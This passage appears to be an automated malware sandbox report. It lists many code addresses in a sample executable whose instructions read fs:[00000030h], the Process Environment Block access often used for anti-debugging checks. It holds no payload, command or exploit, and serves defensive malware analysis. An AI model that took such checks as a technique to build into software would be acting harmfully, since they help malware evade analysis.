Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018907C3 mov eax, dword ptr fs:[00000030h] 0_2_018907C3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189E7E1 mov eax, dword ptr fs:[00000030h] 0_2_0189E7E1
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018327ED mov eax, dword ptr fs:[00000030h] 0_2_018327ED
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018327ED mov eax, dword ptr fs:[00000030h] 0_2_018327ED
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018327ED mov eax, dword ptr fs:[00000030h] 0_2_018327ED
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018147FB mov eax, dword ptr fs:[00000030h] 0_2_018147FB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018147FB mov eax, dword ptr fs:[00000030h] 0_2_018147FB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184C700 mov eax, dword ptr fs:[00000030h] 0_2_0184C700
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810710 mov eax, dword ptr fs:[00000030h] 0_2_01810710
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01840710 mov eax, dword ptr fs:[00000030h] 0_2_01840710
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184C720 mov eax, dword ptr fs:[00000030h] 0_2_0184C720
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184C720 mov eax, dword ptr fs:[00000030h] 0_2_0184C720
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184273C mov eax, dword ptr fs:[00000030h] 0_2_0184273C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184273C mov ecx, dword ptr fs:[00000030h] 0_2_0184273C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184273C mov eax, dword ptr fs:[00000030h] 0_2_0184273C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188C730 mov eax, dword ptr fs:[00000030h] 0_2_0188C730
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184674D mov esi, dword ptr fs:[00000030h] 0_2_0184674D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184674D mov eax, dword ptr fs:[00000030h] 0_2_0184674D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184674D mov eax, dword ptr fs:[00000030h] 0_2_0184674D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810750 mov eax, dword ptr fs:[00000030h] 0_2_01810750
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189E75D mov eax, dword ptr fs:[00000030h] 0_2_0189E75D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852750 mov eax, dword ptr fs:[00000030h] 0_2_01852750
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852750 mov eax, dword ptr fs:[00000030h] 0_2_01852750
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01894755 mov eax, dword ptr fs:[00000030h] 0_2_01894755
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01818770 mov eax, dword ptr fs:[00000030h] 0_2_01818770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 mov eax, dword ptr fs:[00000030h] 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01814690 mov eax, dword ptr fs:[00000030h] 0_2_01814690
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01814690 mov eax, dword ptr fs:[00000030h] 0_2_01814690
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184C6A6 mov eax, dword ptr fs:[00000030h] 0_2_0184C6A6
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018466B0 mov eax, dword ptr fs:[00000030h] 0_2_018466B0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184A6C7 mov ebx, dword ptr fs:[00000030h] 0_2_0184A6C7
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184A6C7 mov eax, dword ptr fs:[00000030h] 0_2_0184A6C7
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018906F1 mov eax, dword ptr fs:[00000030h] 0_2_018906F1
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018906F1 mov eax, dword ptr fs:[00000030h] 0_2_018906F1
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 0_2_0188E6F2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 0_2_0188E6F2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 0_2_0188E6F2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 0_2_0188E6F2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E609 mov eax, dword ptr fs:[00000030h] 0_2_0188E609
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182260B mov eax, dword ptr fs:[00000030h] 0_2_0182260B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852619 mov eax, dword ptr fs:[00000030h] 0_2_01852619
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01846620 mov eax, dword ptr fs:[00000030h] 0_2_01846620
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01848620 mov eax, dword ptr fs:[00000030h] 0_2_01848620
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182E627 mov eax, dword ptr fs:[00000030h] 0_2_0182E627
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181262C mov eax, dword ptr fs:[00000030h] 0_2_0181262C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182C640 mov eax, dword ptr fs:[00000030h] 0_2_0182C640
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D866E mov eax, dword ptr fs:[00000030h] 0_2_018D866E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D866E mov eax, dword ptr fs:[00000030h] 0_2_018D866E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184A660 mov eax, dword ptr fs:[00000030h] 0_2_0184A660
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184A660 mov eax, dword ptr fs:[00000030h] 0_2_0184A660
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01842674 mov eax, dword ptr fs:[00000030h] 0_2_01842674
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 mov eax, dword ptr fs:[00000030h] 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018109AD mov eax, dword ptr fs:[00000030h] 0_2_018109AD
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018109AD mov eax, dword ptr fs:[00000030h] 0_2_018109AD
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018989B3 mov esi, dword ptr fs:[00000030h] 0_2_018989B3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018989B3 mov eax, dword ptr fs:[00000030h] 0_2_018989B3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018989B3 mov eax, dword ptr fs:[00000030h] 0_2_018989B3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A69C0 mov eax, dword ptr fs:[00000030h] 0_2_018A69C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 0_2_0181A9D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 0_2_0181A9D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 0_2_0181A9D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 0_2_0181A9D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 0_2_0181A9D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 0_2_0181A9D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018449D0 mov eax, dword ptr fs:[00000030h] 0_2_018449D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DA9D3 mov eax, dword ptr fs:[00000030h] 0_2_018DA9D3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189E9E0 mov eax, dword ptr fs:[00000030h] 0_2_0189E9E0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018429F9 mov eax, dword ptr fs:[00000030h] 0_2_018429F9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018429F9 mov eax, dword ptr fs:[00000030h] 0_2_018429F9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E908 mov eax, dword ptr fs:[00000030h] 0_2_0188E908
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E908 mov eax, dword ptr fs:[00000030h] 0_2_0188E908
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01808918 mov eax, dword ptr fs:[00000030h] 0_2_01808918
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01808918 mov eax, dword ptr fs:[00000030h] 0_2_01808918
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189C912 mov eax, dword ptr fs:[00000030h] 0_2_0189C912
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A892B mov eax, dword ptr fs:[00000030h] 0_2_018A892B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189892A mov eax, dword ptr fs:[00000030h] 0_2_0189892A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E4940 mov eax, dword ptr fs:[00000030h] 0_2_018E4940
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01890946 mov eax, dword ptr fs:[00000030h] 0_2_01890946
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01836962 mov eax, dword ptr fs:[00000030h] 0_2_01836962
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01836962 mov eax, dword ptr fs:[00000030h] 0_2_01836962
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01836962 mov eax, dword ptr fs:[00000030h] 0_2_01836962
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185096E mov eax, dword ptr fs:[00000030h] 0_2_0185096E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185096E mov edx, dword ptr fs:[00000030h] 0_2_0185096E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185096E mov eax, dword ptr fs:[00000030h] 0_2_0185096E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B4978 mov eax, dword ptr fs:[00000030h] 0_2_018B4978
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B4978 mov eax, dword ptr fs:[00000030h] 0_2_018B4978
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189C97C mov eax, dword ptr fs:[00000030h] 0_2_0189C97C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810887 mov eax, dword ptr fs:[00000030h] 0_2_01810887
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189C89D mov eax, dword ptr fs:[00000030h] 0_2_0189C89D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183E8C0 mov eax, dword ptr fs:[00000030h] 0_2_0183E8C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E08C0 mov eax, dword ptr fs:[00000030h] 0_2_018E08C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DA8E4 mov eax, dword ptr fs:[00000030h] 0_2_018DA8E4
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184C8F9 mov eax, dword ptr fs:[00000030h] 0_2_0184C8F9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184C8F9 mov eax, dword ptr fs:[00000030h] 0_2_0184C8F9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189C810 mov eax, dword ptr fs:[00000030h] 0_2_0189C810
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B483A mov eax, dword ptr fs:[00000030h] 0_2_018B483A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B483A mov eax, dword ptr fs:[00000030h] 0_2_018B483A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184A830 mov eax, dword ptr fs:[00000030h] 0_2_0184A830
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832835 mov eax, dword ptr fs:[00000030h] 0_2_01832835
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832835 mov eax, dword ptr fs:[00000030h] 0_2_01832835
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832835 mov eax, dword ptr fs:[00000030h] 0_2_01832835
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832835 mov ecx, dword ptr fs:[00000030h] 0_2_01832835
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832835 mov eax, dword ptr fs:[00000030h] 0_2_01832835
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832835 mov eax, dword ptr fs:[00000030h] 0_2_01832835
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01822840 mov ecx, dword ptr fs:[00000030h] 0_2_01822840
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01840854 mov eax, dword ptr fs:[00000030h] 0_2_01840854
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01814859 mov eax, dword ptr fs:[00000030h] 0_2_01814859
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01814859 mov eax, dword ptr fs:[00000030h] 0_2_01814859
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A6870 mov eax, dword ptr fs:[00000030h] 0_2_018A6870
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A6870 mov eax, dword ptr fs:[00000030h] 0_2_018A6870
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189E872 mov eax, dword ptr fs:[00000030h] 0_2_0189E872
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189E872 mov eax, dword ptr fs:[00000030h] 0_2_0189E872
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820BBE mov eax, dword ptr fs:[00000030h] 0_2_01820BBE
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820BBE mov eax, dword ptr fs:[00000030h] 0_2_01820BBE
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C4BB0 mov eax, dword ptr fs:[00000030h] 0_2_018C4BB0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C4BB0 mov eax, dword ptr fs:[00000030h] 0_2_018C4BB0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01830BCB mov eax, dword ptr fs:[00000030h] 0_2_01830BCB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01830BCB mov eax, dword ptr fs:[00000030h] 0_2_01830BCB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01830BCB mov eax, dword ptr fs:[00000030h] 0_2_01830BCB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810BCD mov eax, dword ptr fs:[00000030h] 0_2_01810BCD
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810BCD mov eax, dword ptr fs:[00000030h] 0_2_01810BCD
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810BCD mov eax, dword ptr fs:[00000030h] 0_2_01810BCD
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BEBD0 mov eax, dword ptr fs:[00000030h] 0_2_018BEBD0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01818BF0 mov eax, dword ptr fs:[00000030h] 0_2_01818BF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01818BF0 mov eax, dword ptr fs:[00000030h] 0_2_01818BF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01818BF0 mov eax, dword ptr fs:[00000030h] 0_2_01818BF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189CBF0 mov eax, dword ptr fs:[00000030h] 0_2_0189CBF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183EBFC mov eax, dword ptr fs:[00000030h] 0_2_0183EBFC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E4B00 mov eax, dword ptr fs:[00000030h] 0_2_018E4B00
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188EB1D mov eax, dword ptr fs:[00000030h] 0_2_0188EB1D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183EB20 mov eax, dword ptr fs:[00000030h] 0_2_0183EB20
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183EB20 mov eax, dword ptr fs:[00000030h] 0_2_0183EB20
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D8B28 mov eax, dword ptr fs:[00000030h] 0_2_018D8B28
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D8B28 mov eax, dword ptr fs:[00000030h] 0_2_018D8B28
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C4B4B mov eax, dword ptr fs:[00000030h] 0_2_018C4B4B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C4B4B mov eax, dword ptr fs:[00000030h] 0_2_018C4B4B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B8B42 mov eax, dword ptr fs:[00000030h] 0_2_018B8B42
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A6B40 mov eax, dword ptr fs:[00000030h] 0_2_018A6B40
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A6B40 mov eax, dword ptr fs:[00000030h] 0_2_018A6B40
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DAB40 mov eax, dword ptr fs:[00000030h] 0_2_018DAB40
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01808B50 mov eax, dword ptr fs:[00000030h] 0_2_01808B50
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E2B57 mov eax, dword ptr fs:[00000030h] 0_2_018E2B57
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E2B57 mov eax, dword ptr fs:[00000030h] 0_2_018E2B57
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E2B57 mov eax, dword ptr fs:[00000030h] 0_2_018E2B57
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E2B57 mov eax, dword ptr fs:[00000030h] 0_2_018E2B57
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BEB50 mov eax, dword ptr fs:[00000030h] 0_2_018BEB50
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180CB7E mov eax, dword ptr fs:[00000030h] 0_2_0180CB7E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 mov eax, dword ptr fs:[00000030h] 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E4A80 mov eax, dword ptr fs:[00000030h] 0_2_018E4A80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01848A90 mov edx, dword ptr fs:[00000030h] 0_2_01848A90
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01818AA0 mov eax, dword ptr fs:[00000030h] 0_2_01818AA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01818AA0 mov eax, dword ptr fs:[00000030h] 0_2_01818AA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01866AA4 mov eax, dword ptr fs:[00000030h] 0_2_01866AA4
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01866ACC mov eax, dword ptr fs:[00000030h] 0_2_01866ACC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01866ACC mov eax, dword ptr fs:[00000030h] 0_2_01866ACC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01866ACC mov eax, dword ptr fs:[00000030h] 0_2_01866ACC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810AD0 mov eax, dword ptr fs:[00000030h] 0_2_01810AD0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01844AD0 mov eax, dword ptr fs:[00000030h] 0_2_01844AD0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01844AD0 mov eax, dword ptr fs:[00000030h] 0_2_01844AD0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184AAEE mov eax, dword ptr fs:[00000030h] 0_2_0184AAEE
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184AAEE mov eax, dword ptr fs:[00000030h] 0_2_0184AAEE
